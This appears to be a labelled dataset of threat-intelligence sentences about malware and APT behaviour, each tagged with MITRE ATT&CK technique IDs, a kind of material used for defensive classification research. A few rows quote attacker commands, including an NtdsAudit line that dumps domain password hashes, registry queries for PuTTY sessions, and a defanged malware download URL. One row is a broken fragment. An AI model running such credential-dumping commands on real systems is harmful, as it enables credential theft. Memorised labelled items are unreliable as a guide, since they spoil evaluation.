"While we do not have telemetry showing how the CASHY200 PowerShell backdoor was delivered, in September 2019 we observed a host based in Kuwait beaconing to the windows64x[.]com domain using the same DNS tunneling protocol as the CASHY200 payload. Fortunately, the beaconing to this domain was blocked by our DNS security service, so the adversary was no longer able to communicate with their payload using this DNS tunnel. By analyzing the lineage of this tool, we found that actors may have used CASHY200 when targeting Kuwait government organizations starting in the spring of 2018 and continuing throughout 2019, according to our open source collection efforts.",T1572 | T1071 | T1071.004
"The smartpss.exe file contained metadata describing itself as MSHTA.exe from Microsoft, a legitimate operating system component, but the MD5 hash was unknown. Disassembly analysis of the program showed it was a small application that loaded the IE COM object and launched the function RunHTMLApplication() against the command line argument provided. This functionality matched the behavior of the legitimate MSHTA.exe despite the hash discrepancy. Further analysis showed that the malware was based on a 2018 version of the binary (original hash: 5ced5d5b469724d9992f5e8117ecefb5) with only six bytes of data appended, as shown in Figure 4.",T1036 | T1218.005 | T1559.001
12. Execute the exported function “updater” within “MSO1234.win” using rundll32.exe .,T1218.011
"In a 2021 campaign, two weeks after PROPHET SPIDER ceased interactive operations, an unattributed actor downloaded a Cobalt Strike stager DLL from a remote IP address. When run with the argument 11985756, the DLL downloaded a Cobalt Strike payload. The adversary used ADFind to enumerate Active Directory, then moved laterally, using a compromised administrative account, and downloading additional Cobalt Strike Beacon payloads onto some systems, or using PSExec to run Cobalt Strike. The adversary further used PowerSploit to enumerate the victim environment. Before deploying ransomware, the adversary staged data in ZIP archives and likely exfiltrated these archives. Batch scripts subsequently deployed MountLocker across the victim environment.",T1105 | T1570 | T1074 | T1059 | T1005 | T1078.002
"Managed Defense, utilizing FireEye Endpoint Security technology, detected and responded to the threat activity identified within the customer’s environment. The subsequent investigation revealed FIN6 was in the initial phase of an intrusion using stolen credentials, Cobalt Strike, Metasploit, and publicly available tools such as Adfind and 7-Zip to conduct internal reconnaissance, compress data, and aid their overall mission.",T1105 | T1078
The second stage of the attack is downloaded from “http://www.hotinfonews.com/news/dailynews2.php”and executed by the payload of the Java exploit. It acts as a downloader for the next stage of the attack.,T1105 | T1203
"Afterwards, it uses CreateServiceA to add svchost.exe as a service named “EYService”, and it will then start the service and exit. This service, as we will explain soon, is the core component in the flow and is responsible for processing the commands sent by the attacker.",T1569.002 | T1106 | T1543 | T1569
The main Trojan body is encrypted “XOR 0xDE” and stored as hex text inside the RTF file. The shellcode simply writes the main dropper to a file named “msmx21.exe” in the %TEMP% folder and runs it. It also extracts a fake document which is shown to the victim if the exploit has been successful.,T1140 | T1027 | T1036
"This is another aspect that has stayed unmodified in GandCrab 2. Once the information collection phase is over, GandCrab moves to terminate a wide range of processes that might be running on the victim machine and might be holding write access to files. This technique has been previously documented as a part of the Cerber ransomware, and prevents a scenario where GandCrab will attempt to encrypt a file and fail to obtain write access to the file because it is already open in another application. Process termination is done by the standard method of invoking the CreateToolhelp32Snapshot windows API and then iterating over the processes with Process32First and Process32Next. The list shares enough common processes with the one used by Cerber that it’s probable to assume the list was based on the one used in Cerber originally. The list of targeted processes is constant throughout both versions of GandCrab:",T1057 | T1106
"This “transfer” decryption routine returns a URL that is concatenated with the other variables, resulting in”hXXp://www.hotinfonews.com/news/dailynews2.php?id=&t=win”. It is this content that is written to disk and executed on the victim’s machine. A description of that downloader follows. It is most interesting that this exploit/php combination’s encryption routine is different from the obfuscation commonly used throughout Red October modules. It further suggests that potentially this limited use package was developed separately from the rest for a specific target.",T1105
"Comnie Malware Family Comnie uses the RC4 algorithm in multiple locations both to obfuscate strings used by the malware, as well as for network communication. Additionally, the malware looks for multiple security products on victim machines and sometimes alters its behavior depending on the products present. More information about how Comnie handles identified security products may be found in the technical analysis in the Appendix. These security products included those that are known to be most widely used within South Korea and Taiwan. Comnie is able to achieve persistence via a .lnk file that is stored within the victim’s startup path. When originally run, Comnie will convert itself from an executable file to a DLL and will write this newly created DLL to the host machine’s %APPDATA% directory. The built-in Windows utility rundll32.exe is then used to load this DLL by the original .lnk file. Unit 42 has observed a total of two variants of Comnie. One of the ways the variants differ is in how they obtain their command and control (C2) information. Both variants make use of third-party online services in an attempt to prevent DNS based blocking of their first stage communications. However, the obfuscation mechanism varies slightly. In older variants, Comnie was found to look for the ‘++a++’ markers. The example C2s used by older variants of Comnie demonstrates this:",T1027 | T1140 | T1547.009 | T1547.001 | T1104 | T1057 | T1518.001 | T1573 | T1071.004 | T1071 | T1001
"Tools such as XHide Process Faker, which can hide or change the name of Linux processes and PyInstaller, which can convert Python scripts into executables.",T1036.005 | T1036 | T1027 | T1027.005
"The NewsBeef APT previously engaged in long-term, elaborate social engineering schemes that take advantage of popular social network platforms. Previous analysis of the NewsBeef APT indicates that the group focuses on Saudi Arabian (SA) and Western targets, and lacks advanced offensive technology development capabilities.",T1585.001
"The sniffer code is similar to the one used in the driver’s “tdip.sys” and “mstcp32.sys” and uses NT4 NDIS-4, XP NDIS-5 interfaces, targeting incoming traffic on Ethernet and VPN (ndiswanip) interfaces. It captures only directed packets (containing a destination address equal to the station address of the NIC). Packers-filtering engine rules may be set via DeviceIoControl messages. Filtered packets are stored in-memory until requested. Maximum packets storage list length is 128 items per filtering rule.",T1040 | T1106 | T1205.002
POWERSTATS encoded C2 traffic with base64.,T1001 | T1132.001
PLEAD samples were found to be highly obfuscated with junk code.,T1001.001
SUNBURST C2 data attempted to appear as benign XML related to .NET assemblies or as a faux JSON blob.,T1001.002
"FakeM C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers. Additionally, some variants of FakeM use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.",T1001.003
Higaisa used a FakeTLS session for C2 communications.,T1001.003
"InvisiMole can mimic HTTP protocol with custom HTTP ""verbs"" HIDE, ZVVP, and NOP.",T1001.003
Axiom has been known to dump credentials.,T1003
Azorult can dump credentials from victim browsers.,T1003
HOMEFRY can perform credential dumping.,T1003
"""Trojan.Karagany can dump passwords and save them into """"\ProgramData\Mail\MailAg\pwds.txt"""".""",T1003
APT1 has been known to use credential dumping using Mimikatz.,T1003.001
"APT33 has used a variety of publicly available tools like LaZagne, Mimikatz, and ProcDump to dump credentials.",T1003.001
Fox Kitten has used prodump to dump credentials from LSASS.,T1003.001
Indrik Spider used Cobalt Strike to carry out credential dumping using ProcDump.,T1003.001
Lazarus Group leveraged Mimikatz to extract Windows Credentials of currently logged-in users and steals passwords stored in browsers. Lazarus Group has also used a custom version Mimikatz to capture credentials.,T1003.001
MuddyWater has performed credential dumping with Mimikatz and procdump64.exe.,T1003.001
NotPetya contains a modified version of Mimikatz to help gather credentials that are later used for lateral movement.,T1003.001
Threat Group-3390 actors have used a modified version of Mimikatz called Wrapikatz to dump credentials. They have also dumped credentials from domain controllers.,T1003.001
CosmicDuke collects Windows account hashes.,T1003.002
CrackMapExec can dump usernames and hashed passwords from the SAM.,T1003.002
"Password stealer and NTLM stealer modules in CozyCar harvest stored credentials from the victim, including credentials used as part of Windows NTLM user authentication.",T1003.002
menuPass has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.,T1003.002 | T1003.004
pwdump can be used to dump credentials from the SAM.,T1003.002
"""Chimera has gathered the SYSTEM registry and ntds.dit files from target systems. Chimera specifically has used the NtdsAudit tool to dump the password hashes of domain users via """"msadcs.exe """"NTDS.dit"""" -s """"SYSTEM"""" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv"""" and used ntdsutil to copy the Active Directory database.""",T1003.003
Dragonfly has dropped and executed SecretsDump to dump password hashes. They also obtained ntds.dit from domain controllers.,T1003.003
Fox Kitten has used Volume Shadow Copy to access credential information from NTDS.,T1003.003
LaZagne can perform credential dumping from LSA secrets to obtain account and password information.,T1003.004
APT1 has collected files from a local victim.,T1005
APT38 has collected data from a compromised host.,T1005
BADFLICK has uploaded files from victims' machines.,T1005
BLINDINGCAN has uploaded files from victim machines.,T1005
Bisonal has collected information from a compromised host.,T1005
CharmPower can collect data and files from a compromised host.,T1005
DanBot can upload files from compromised hosts.,T1005
DarkWatchman can collect files from a compromised host.,T1005
Dragonfly has collected data from local victim systems.,T1005
Drovorub can transfer files from the victim machine.,T1005
"During CostaRicto, the threat actors collected data and files from compromised networks.",T1005
"During Operation Wocao, threat actors exfiltrated files and directories of interest from the targeted system.",T1005
"Flagpro can collect data from a compromised host, including Windows authentication information.",T1005
"GALLIUM collected data from the victim's local system, including password hashes from the SAM hive in the Registry.",T1005
Gelsemium can collect data from a compromised host.,T1005
Hikit can upload files from compromised machines.,T1005
Honeybee collects data from the local victim system.,T1005
Hydraq creates a backdoor through which remote attackers can read data from files.,T1005
"Kimsuky has collected Office, PDF, and HWP documents from its victims.",T1005
"LAPSUS$ uploaded sensitive files, information, and credentials from a targeted organization for extortion or public release.",T1005
MobileOrder exfiltrates data collected from the victim mobile device.,T1005
Mongall has the ability to upload files from victim's machines.,T1005
OSX_OCEANLOTUS.D has the ability to upload files from a compromised host.,T1005
OutSteel can collect information from a compromised host.,T1005
POWERSTATS can upload files from compromised hosts.,T1005
PcShare can collect files and information from a compromised host.,T1005
PinchDuke collects user files from the compromised host based on predefined file extensions.,T1005
QuasarRAT can retrieve files from compromised client machines.,T1005
RCSession can collect data from a compromised host.,T1005
ROKRAT can collect host data and specific file types.,T1005
Rising Sun has collected data and files from a compromised host.,T1005
ThreatNeedle can collect data and files from a compromised host.,T1005
TinyTurla can upload files from a compromised host.,T1005
TrickBot collects local files and information from the victim's local machine.,T1005
Turla RPC backdoors can upload files from victim machines.,T1005
WarzoneRAT can collect data from a compromised host.,T1005
"When it first starts, BADNEWS crawls the victim's local drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.",T1005
"""APT1 used the commands """"net start"""" and """"tasklist"""" to get a listing of the services on the system.""",T1007
Dyre has the ability to identify running services on a compromised host.,T1007
"""Elise executes """"net start"""" after initial communication is made to the remote server.""",T1007
"""Epic uses the """"tasklist /svc"""" command to list the services on the system.""",T1007
HyperBro can list all services and their configurations.,T1007
Indrik Spider has used the win32_service WMI class to retrieve a list of services from the system.,T1007
RainyDay can create and register a service for execution.,T1007
"""S-Type runs the command """"net start"""" on a victim.""",T1007
Bazar has the ability to use an alternative C2 server if the primary server fails.,T1008
FIN7's Harpy backdoor malware can use DNS as a backup channel for C2 if HTTP fails.,T1008
"JHUHUGIT tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.",T1008
OilRig malware ISMAgent falls back to its DNS tunneling mechanism if it is unable to reach the C2 server over HTTP.,T1008
ShimRat has used a secondary C2 location if the first was unavailable.,T1008
Stuxnet has the ability to generate new C2 domains.,T1008
WinMM is usually configured with primary and backup domains for C2 communications.,T1008
Kazuar gathers information about opened windows.,T1010
Machete saves the window names.,T1010
QakBot has the ability to enumerate windows on a compromised host.,T1010
"""Azorult can check for installed software on the system under the Registry key """"Software\Microsoft\Windows\CurrentVersion\Uninstall"""".""",T1012
BitPaymer can use the RegEnumKeyW to iterate through Registry keys.,T1012
"""Cardinal RAT contains watchdog functionality that periodically ensures """"HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load"""" is set to point to its executable.""",T1012
"""Chimera has queried Registry keys using """"reg query \\\HKU\\SOFTWARE\Microsoft\Terminal Server Client\Servers"""" and """"reg query \\\HKU\\Software\Microsoft\Windows\CurrentVersion\Internet Settings"""".""",T1012
"""Crimson can check the Registry for the presence of """"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\last_edate"""" to determine how long it has been installed on a host.""",T1012
DarkWatchman can query the Registry to determine if it has already been installed on the system.,T1012
Derusbi is capable of enumerating Registry keys and values.,T1012
DownPaper searches and reads the value of the Windows Update Registry Run key.,T1012
"Dtrack can collect the RegisteredOwner, RegisteredOrganization, and InstallDate registry values.",T1012
"During Operation Wocao, the threat actors executed `/c cd /d c:\windows\temp\ & reg query HKEY_CURRENT_USER\Software\\PuTTY\Sessions\` to detect recent PuTTY sessions, likely to further lateral movement.",T1012
FunnyDream can check `Software\Microsoft\Windows\CurrentVersion\Internet Settings` to extract the `ProxyServer` string.,T1012
LitePower can query the Registry for keys added to execute COM hijacking.,T1012
"""POWRUNER may query the Registry by running """"reg query"""" on a victim.""",T1012
PlugX can enumerate and query for information contained within the Windows Registry.,T1012
PowerSploit contains a collection of Privesc-PowerUp modules that can query Registry keys for potential opportunities.,T1012
QUADAGENT checks if a value exists within a Registry key in the HKCU hive whose name is the same as the scheduled task it has created.,T1012
"""RATANKBA uses the command """"reg query ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\InternetSettings"""""".""",T1012
REvil can query the Registry to get random file extensions to append to encrypted files.,T1012
Reg may be used to gather details from the Windows Registry of a local or remote system at the command-line interface.,T1012
"""SUNBURST collected the registry value """"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid"""" from compromised hosts.""",T1012
Shamoon queries several Registry keys to identify hard disk partitions to overwrite.,T1012
SodaMaster has the ability to query the Registry to detect a key specific to VMware.,T1012
Stuxnet searches the Registry for indicators of security programs.,T1012
SynAck enumerates Registry keys associated with event logs.,T1012
Ursnif has used Reg to query the Registry for installed programs.,T1012
"""Zebrocy executes the """"reg query"""" command to obtain information in the Registry.""",T1012
Carberp has used user mode rootkit techniques to remain hidden on the system.,T1014
Hikit is a Rootkit that has been used by Axiom.,T1014
Zeroaccess is a kernel-mode rootkit.,T1014
A module in Prikormka collects information from the victim about its IP addresses and MAC addresses.,T1016
"""APT32 used the """"ipconfig /all"""" command to gather the IP address from the system.""",T1016
Arp can be used to display ARP configuration information on the host.,T1016
"""BabyShark has executed the """"ipconfig /all"""" command.""",T1016
Bandook has a command to get the public IP address from a system.,T1016
"""Bisonal can execute """"ipconfig"""" on the victim's machine.""",T1016
Brave Prince gathers network configuration information as well as the ARP cache.,T1016
Cyclops Blink can use the Linux API `if_nameindex` to gather network interface names.,T1016
Darkhotel has collected the IP address and network adapter information from the victim's machine.,T1016
FALLCHILL collects MAC address and local IP address information from the victim.,T1016
"""Higaisa used """"ipconfig"""" to gather network configuration information.""",T1016
"InvisiMole gathers information on the IP forwarding table, MAC address, configured proxy, and network SSID.",T1016
KeyBoy can determine the public or WAN IP address for the system.,T1016
Kimsuky has used `ipconfig/all` to gather network configuration information.,T1016
Koadic can retrieve the contents of the IP routing table as well as information about the Windows domain.,T1016
"""LightNeuron gathers information about network adapters using the Win32 API call """"GetAdaptersInfo"""".""",T1016
Moses Staff has collected the domain name of a compromised network.,T1016
NBTscan can be used to collect MAC addresses.,T1016
NanoCore gathers the IP address from the victim's machine.,T1016
"""Nltest may be used to enumerate the parent domain of a local machine using """"/parentdomain"""".""",T1016
Pisloader has a command to collect the victim's IP address.,T1016
Pupy has built in commands to identify a host's IP address and find out other network configuration settings by viewing connected sessions.,T1016
Saint Bot can collect the IP address of a victim machine.,T1016
"ShimRatReporter gathered the local proxy, domain, IP, routing tables, mac address, gateway, DNS servers, and DHCP status information from an infected host.",T1016
Sliver has the ability to gather network configuration information.,T1016
The reconnaissance modules used with Duqu can collect information on network configuration.,T1016
"TrickBot obtains the IP address, location, and other relevant network information from the victim's machine.",T1016
Tropic Trooper has used scripts to collect the host's network topology.,T1016
Turian can retrieve the internal IP address of a compromised host.,T1016
"""Turla surveys a system upon check-in to discover network configuration details using the """"arp -a"""", """"nbtstat -n"""", """"net config"""", """"ipconfig /all"""", and """"route"""" commands, as well as NBTscan. Turla RPC backdoors have also retrieved registered RPC interface information from process memory.""",T1016
Xbash can collect IP addresses and local intranet information from a victim's machine.,T1016
menuPass has used several tools to scan for open NetBIOS nameservers and enumerate NetBIOS sessions.,T1016
APT29 has used GoldFinder to perform HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request travels through.,T1016.001
Gamaredon Group has tested connectivity between a compromised machine and a C2 server using Ping with commands such as `CSIDL_SYSTEM\cmd.exe /c ping -n 1`.,T1016.001
"Arp can be used to display a host's ARP cache, which may include address resolutions for remote systems.",T1018
"""Bazar can enumerate remote systems using """" Net View"""".""",T1018
Deep Panda has used ping to identify other machines of interest.,T1018
Dragonfly 2.0 likely obtained a list of hosts in the victim environment.,T1018
Dragonfly has likely obtained a list of hosts in the victim environment.,T1018
"During Operation Wocao, threat actors used `nbtscan` and `ping` to discover remote systems, as well as `dsquery subnet` on a domain controller to retrieve all subnets in the Active Directory.",T1018
"HermeticWizard can find machines on the local network by gathering known local IP addresses through `DNSGetCacheDataTable`, `GetIpNetTable`,`WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY)`,`NetServerEnum`,`GetTcpTable`, and `GetAdaptersAddresses.`",T1018
"""Kinsing has used a script to parse files like """"/etc/hosts"""" and SSH """"known_hosts"""" to discover remote systems.""",T1018
Leafminer used Microsoft's Sysinternals tools to gather detailed information about remote systems.,T1018
Remsec can ping or traceroute a remote host.,T1018
UNC2452 used AdFind to enumerate remote systems.,T1018
"""USBferry can use """"net view"""" to gather information about remote systems.""",T1018
"""yty uses the """"net view"""" command for discovery.""",T1018
Gamaredon Group has used modules that automatically upload gathered documents to the C2 server.,T1020
"""Honeybee performs data exfiltration is accomplished through the following command-line command: """"from (- --).txt"""".""",T1020
"When a document is found matching one of the extensions in the configuration, TINYTYPHON uploads it to the C2 server.",T1020
Kivars has the ability to remotely trigger keyboard input and mouse clicks.,T1021
APT3 enables the Remote Desktop Protocol for persistence. APT3 has also interacted with compromised systems to browse and copy files through RDP sessions.,T1021.001
Cobalt Strike can start a VNC-based remote desktop server and tunnel the connection through the already established C2 channel.,T1021.001
FIN10 has used RDP to move laterally to systems in the victim environment.,T1021.001
HEXANE has used remote desktop sessions for lateral movement.,T1021.001
Imminent Monitor has a module for performing remote desktop access.,T1021.001
Lazarus Group malware SierraCharlie uses RDP for propagation.,T1021.001
Patchwork attempted to use RDP to move laterally.,T1021.001
Revenge RAT has a plugin to perform RDP access.,T1021.001
WarzoneRAT has the ability to control an infected PC using RDP.,T1021.001
njRAT has a module for performing remote desktop access.,T1021.001
zwShell has used RDP for lateral movement.,T1021.001
APT39 has used SMB for lateral movement.,T1021.002
"During Operation Wocao, threat actors used Impacket's smbexec.py as well as accessing the C$ and IPC$ shares to move laterally.",T1021.002
Emotet leverages the Admin$ share for lateral movement once the local admin password has been brute forced.,T1021.002
Fox Kitten has used valid accounts to access SMB shares.,T1021.002
Ke3chang actors have been known to copy files to the network shares of other computers to move laterally.,T1021.002
Lucifer can infect victims by brute forcing SMB.,T1021.002
"""NotPetya can use PsExec, which interacts with the """"ADMIN$"""" network share to execute commands on remote systems.""",T1021.002
OilRig has used Putty to access compromised systems.,T1021.004
Carberp can start a remote VNC session by downloading a new plugin.,T1021.005
TrickBot has used a VNC module to monitor the victim and collect information to pivot to valuable systems on the network,T1021.005
"""Cobalt Strike can use """"WinRM"""" to execute a payload on a remote host.""",T1021.006
Wizard Spider has used Window Remote Management to move laterally through a victim network.,T1021.006
CosmicDuke steals user files from removable media with file extensions and keywords that match a predefined list.,T1025
InvisiMole can collect jpeg files from connected MTP devices.,T1025
"Machete can find, encrypt, and upload files from fixed and removable drives.",T1025
Rover searches for files on attached removable drives based on a predefined list of file extensions every five seconds.,T1025
A Night Dragon DLL included an XOR-encoded section.,T1027
APIs and strings in some TYPEFRAME variants are RC4 encrypted. Another variant is encoded with XOR.,T1027
APT39 has used malware to drop encrypted CAB files.,T1027
APT41 used VMProtected binaries in multiple intrusions.,T1027
Agent Tesla has had its code obfuscated in an apparent attempt to make analysis difficult. Agent Tesla has used the Rijndael symmetric encryption algorithm to encrypt strings.,T1027
"Amadey has obfuscated strings such as antivirus vendor names, domains, files, and others.",T1027
BITTER has used a RAR SFX dropper to deliver malware.,T1027
BackConfig has used compressed and decimal encoded VBS scripts.,T1027
Bisonal's DLL file and non-malicious decoy file are encrypted with RC4 and some function name strings are obfuscated.,T1027
"""BoxCaon used the """"StackStrings"""" obfuscation technique to hide malicious functionalities.""",T1027
"Bundlore has obfuscated data with base64, AES, RC4, and bz2.",T1027
Carbon encrypts configuration files and tasks for the malware to complete using CAST-128 algorithm.,T1027
Configuration data used by Rising Sun has been encrypted using an RC4 stream algorithm.,T1027
DOGCALL is encrypted using single-byte XOR.,T1027
Daserf uses encrypted Windows APIs and also encrypts data using the alternative base64+RC4 or the Caesar cipher.,T1027
"Dust Storm has encoded payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key.",T1027
"Ecipekac can use XOR, AES, and DES to encrypt loader shellcode.",T1027
"""Empire has the ability to obfuscate commands using """"Invoke-Obfuscation"""".""",T1027
Epic heavily obfuscates its code to make analysis more difficult.,T1027
Final1stspy obfuscates strings with base64 encoding.,T1027
"`xyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw_=` character sets.""",T1027
Fysbis has been encrypted using XOR and RC4.,T1027
HyperBro can be delivered encrypted to a compromised host.,T1027
IcedID has utilzed encrypted binaries and base64 encoded strings.,T1027
Inception has encrypted malware payloads dropped on victim machines with AES and RC4 encryption.,T1027
Kazuar is obfuscated using the open source ConfuserEx protector. Kazuar also obfuscates the name of created files/folders/mutexes and encrypts debug messages written to log files using the Rijndael cipher.,T1027
Ke3chang has used Base64-encoded shellcode strings.,T1027
Kimsuky has obfuscated binary strings including the use of XOR encryption and Base64 encoding. Kimsuky has also modified the first byte of DLL implants targeting victims to prevent recognition of the executable file format.,T1027
Kobalos encrypts all strings using RC4 and bundles all functionality into a single function call.,T1027
Leafminer obfuscated scripts that were used on victim machines.,T1027
MiniDuke can use control flow flattening to obscure code.,T1027
Mofang has compressed the ShimRat executable within malicious email attachments. Mofang has also encrypted payloads before they are downloaded to victims.,T1027
"Most of the strings in ADVSTORESHELL are encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed. API function names are also reversed, presumably to avoid detection in memory.",T1027
Mustang Panda has delivered initial payloads hidden using archives and encoding measures.,T1027
NOKKI uses Base64 encoding for strings.,T1027
OSX_OCEANLOTUS.D encrypts its strings in RSA256 and encodes them in a custom base64 scheme and XOR.,T1027
Patchwork has obfuscated a script with Crypto Obfuscator.,T1027
Penquin has encrypted strings in the binary for obfuscation.,T1027
"""Pisloader obfuscates files by splitting strings into smaller sub-strings and including """"garbage"""" strings that are never used. The malware also uses return-oriented programming (ROP) technique and single-byte XOR to obfuscate data.""",T1027
RainyDay has downloaded as a XOR-encrypted payload.,T1027
Ryuk can use anti-disassembly and code transformation obfuscation techniques.,T1027
SDBbot has the ability to XOR the strings for its installer component with a hardcoded 128 byte key.,T1027
SUNBURST strings were compressed and encoded in Base64. SUNBURST also obfuscated collected system information using a FNV-1a + XOR algorithm.,T1027
Saint Bot has been obfuscated to help avoid detection.,T1027
Small Sieve has the ability to use a custom hex byte swapping encoding scheme combined with an obfuscated Base64 function to protect program strings and Telegram credentials.,T1027
Stuxnet uses encrypted configuration blocks and writes encrypted files to disk.,T1027
TA551 has used obfuscated variable names in a JavaScript configuration file.,T1027
TajMahal has used an encrypted Virtual File System to store plugins.,T1027
The PowerShell script with the RogueRobin payload was obfuscated using the COMPRESS technique in Invoke-Obfuscation.,T1027
The SMOKEDHAM source code is embedded in the dropper as an encrypted string.,T1027 | T1027.009
The WastedLocker payload includes encrypted strings stored within the .bss section of the binary file.,T1027
Transparent Tribe has dropped encoded executables on compromised hosts.,T1027
TrickBot uses non-descriptive names to hide functionality and uses an AES CBC (256 bits) encryption algorithm for its loader and configuration files.,T1027
VERMIN is obfuscated using the obfuscation tool called ConfuserEx.,T1027
Zox has been encoded with Base64.,T1027
"menuPass has encoded strings in its malware with base64 as well as with a simple, single-byte XOR obfuscation using key 0x40.",T1027
A variant of Emissary appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan.,T1027.001
APT32 includes garbage code to mislead anti-malware software and researchers.,T1027.001
Moafee has been known to employ binary padding.,T1027.001
POWERSTATS has used useless code blocks to counter analysis.,T1027.001
WastedLocker contains junk code to increase its entropy and hide the actual code.,T1027.001
BLINDINGCAN has been packed with the UPX packer.,T1027.002
Bazar has a variant with a packed payload.,T1027.002
Dark Caracal has used UPX to pack Bandook.,T1027.002
Donut can generate packed code modules.,T1027.002
"GALLIUM packed some payloads using different types of packers, both known and custom.",T1027.002
IcedID has packed and encrypted its loader module.,T1027.002
Lucifer has used UPX packed binaries.,T1027.002
Misdat was typically packed using UPX.,T1027.002
Mongall has been packed with Themida.,T1027.002
TeamTNT has used UPX and Ezuri packer to pack its binaries.,T1027.002
TrickBot leverages a custom packer to obfuscate its functionality.,T1027.002
Uroburos uses a custom packer.,T1027.002
VERMIN is initially packed.,T1027.002
Valak has used packed DLL payloads.,T1027.002
jRAT payloads have been packed.,T1027.002
yty packs a plugin with UPX.,T1027.002
PolyglotDuke can use steganography to hide C2 information in images.,T1027.003
TA551 has hidden encoded data for malware DLLs in a PNG.,T1027.003
Tropic Trooper has used JPG files with encrypted payloads to mask their backdoor routines and evade detection.,T1027.003
FoggyWeb can compile and execute source code sent to the compromised AD FS server via a specific HTTP POST.,T1027.004
MuddyWater has used the .NET csc.exe tool to compile executables from downloaded C# code.,T1027.004
"Based on comparison of Gazer versions, Turla made an effort to obfuscate strings in the malware that could be used as IoCs, including the mutex name and named pipe.",T1027.005
Operation Wocao has edited variable names within the Impacket suite to avoid automated detection.,T1027.005
ComRAT has embedded a XOR encrypted communications module inside the orchestrator module.,T1027.009
"""Cobalt Strike can set its """"beacon"""" payload to reach out to the C2 server on an arbitrary and random interval. In addition it will break large data sets into smaller chunks for exfiltration.""",T1029
"ComRAT has been programmed to sleep outside local business hours (9 to 5, Monday to Friday).",T1029
Linfo creates a backdoor through which remote attackers can change the frequency at which compromised hosts contact remote C2 infrastructure.,T1029
Shark can pause C2 communications for a specified time.,T1029
"RDAT can upload a file via HTTP POST response to the C2 split into 102,400-byte portions. RDAT can also download data from the C2 which is split into 81,920-byte portions.",T1030
APT19 used an HTTP malware variant and a Port 22 malware variant to collect the victim's username.,T1033
APT37 identifies the victim username.,T1033
Agent Tesla can collect the username from the victim's machine.,T1033
BISCUIT has a command to gather the username from the system.,T1033
Bumblebee has the ability to identify the user name.,T1033
Cannon can gather the username from the system.,T1033
CreepySnail can execute `getUsername` on compromised systems.,T1033
Cryptoistic can gather data on the user of a compromised host.,T1033
DarkWatchman has collected the username from a victim machine.,T1033
Denis enumerates and collects the username from the victim's machine.,T1033
Explosive has collected the username from the infected host.,T1033
"Frankenstein has enumerated hosts, gathering username, machine name, and administrative permissions information.",T1033
Gazer obtains the current user's security identifier.,T1033
HEXANE has run `whoami` on compromised machines to identify the current user.,T1033
InvisiMole lists local users and session information.,T1033
Ixeshe collects the username from the victim's machine.,T1033
LitePower can determine if the current user has admin privileges.,T1033
Lokibot has the ability to discover the username on the infected host.,T1033
MuddyWater has used malware that can collect the victim's username.,T1033
PowerDuke has commands to get the current user's name and SID.,T1033
SILENTTRINITY can gather a list of logged on users.,T1033
Sandworm Team has collected the username from a compromised host.,T1033
ShadowPad has collected the username of the victim system.,T1033
Spark has run the whoami command and has a built-in command to identify the user logged in.,T1033
Turian can retrieve usernames.,T1033
Windshift has used malware to identify the username on a compromised host.,T1033
ZxShell can collect the owner and organization information from the target workstation.,T1033
yty collects the victim's username.,T1033
APT29 has set the hostnames of its C2 infrastructure to match legitimate hostnames in the victim environment. They have also used IP addresses originating from the same country as the victim for their VPN infrastructure.,T1036
Accounts created by Dragonfly masqueraded as legitimate service accounts.,T1036
BRONZE BUTLER has masked executables with document file icons including Word and Adobe PDF.,T1036
"During C0015, the threat actors named a binary file `compareForfor.jpg` to disguise it as a JPG file.",T1036
FatDuke has attempted to mimic a compromised user's traffic by using the same user agent as the installed browser.,T1036
"FoggyWeb can masquerade the output of C2 commands as a fake, but legitimately formatted WebP file.",T1036
OilRig has used .doc file extensions to mask malicious executables.,T1036
RTM has been delivered as archived Windows executable files masquerading as PDF documents.,T1036
TA551 has masked malware DLLs as dat and jpg files.,T1036
TRITON attempts to write a dummy program into memory if it fails to reset the Triconex controller.,T1036
ZIRCONIUM has spoofed legitimate applications in phishing lures and changed file extensions to conceal installation of malware.,T1036
BRONZE BUTLER has used Right-to-Left Override to deceive victims into executing several strains of malware.,T1036.002
menuPass has renamed certutil and moved it to a different location on the system to avoid detection based on use of the tool.,T1036.003
"Attor's dispatcher disguises itself as a legitimate task (i.e., the task name and description appear legitimate).",T1036.004
"""During Frankenstein, the threat actors named a malicious scheduled task """"WinUpdate"""" for persistence.""",T1036.004
Fox Kitten has named the task for a reverse proxy lpupdate to appear legitimate.,T1036.004
InnaputRAT variants have attempted to appear legitimate by adding a new service named OfficeUpdateService.,T1036.004
"""Kwampirs establishes persistence by adding a new service with the display name """"WMI Performance Adapter Extension"""" in an attempt to masquerade as a legitimate WMI service.""",T1036.004
Lazarus Group has used a scheduled task named `SRCheck` to mask the execution of a malicious .dll.,T1036.004
"""Maze operators have created scheduled tasks masquerading as """"Windows Update Security"""", """"Windows Update Security Patches"""", and """"Google Chrome Security Update"""" designed to launch the ransomware.""",T1036.004
Meteor has been disguised as the Windows Power Efficiency Diagnostics report tool.,T1036.004
"""New services created by RawPOS are made to appear like legitimate Windows services, with names such as """"Windows Management Help Service"""", """"Microsoft Support"""", and """"Windows Advanced Task Manager"""".""",T1036.004
"""RTM has named the scheduled task it creates """"Windows Update"""".""",T1036.004
"""RainyDay has named services and scheduled tasks to appear benign including """"ChromeCheck"""" and """"googleupdate.""""""",T1036.004
"Some Volgmer variants add new services with display names generated by a list of hard-coded strings such as Application, Background, Security, and Windows, presumably as a way to masquerade as a legitimate service.",T1036.004
